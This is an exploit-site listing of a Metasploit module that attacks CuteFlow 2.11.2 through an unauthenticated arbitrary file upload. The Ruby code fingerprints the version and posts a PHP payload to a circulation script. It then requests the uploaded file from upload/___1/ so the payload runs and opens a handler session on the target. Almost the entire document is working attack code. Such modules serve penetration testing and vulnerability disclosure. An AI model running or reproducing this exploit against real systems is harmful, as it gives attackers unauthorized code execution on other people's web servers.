Author

metasploit

Risk

[

Security Risk High

]

0day-ID

0day-ID-19065

Category

web applications

Date add

27-07-2012

Platform

php

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
            'Description'    => %q{
                This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
                This application has an upload feature that allows an unauthenticated
                user to upload arbitrary files to the 'upload/___1/' directory
                and then execute it.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
                ],
            'References'     =>
                [
                    ['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/']
                    #['OSVDB', ''],
                    #['EDB',   ''],
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jul 27 2012",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
            ], self.class)
    end
 
    def check
 
        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{base}"
        })
 
        if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
            return Exploit::CheckCode::Vulnerable
        elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
 
    end
 
    def upload(base, fname, file)
 
        # construct post data
        boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
        data_post  = "--#{boundary}\r\n"
        data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
        data_post << "Content-Type: text/php\r\n"
        data_post << "\r\n"
        data_post << file
        data_post << "\r\n"
        data_post << "--#{boundary}\r\n"
 
        # upload
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{base}pages/restart_circulation_values_write.php",
            'ctype'   => "multipart/form-data; boundary=#{boundary}",
            'data'    => data_post,
        })
 
        return res
    end
 
    def exploit
        base  = target_uri.path
        base << '/' if base[-1, 1] != '/'
        @peer = "#{rhost}:#{rport}"
 
        # upload PHP payload to upload/___1/
        print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
        fname = rand_text_alphanumeric(rand(10)+6) + '.php'
        php   = %Q|<?php #{payload.encoded} ?>|
        res   = upload(base, fname, php)
        if res.nil?
            print_error("#{@peer} - Uploading PHP payload failed")
            return
        end
 
        # retrieve and execute PHP payload
        print_status("#{@peer} - Retrieving file: #{fname}")
        send_request_raw({
            'method' => 'GET',
            'uri'    => "#{base}upload/___1/#{fname}"
        })
 
        handler
    end
end



#  0day.today [2024-12-27]  #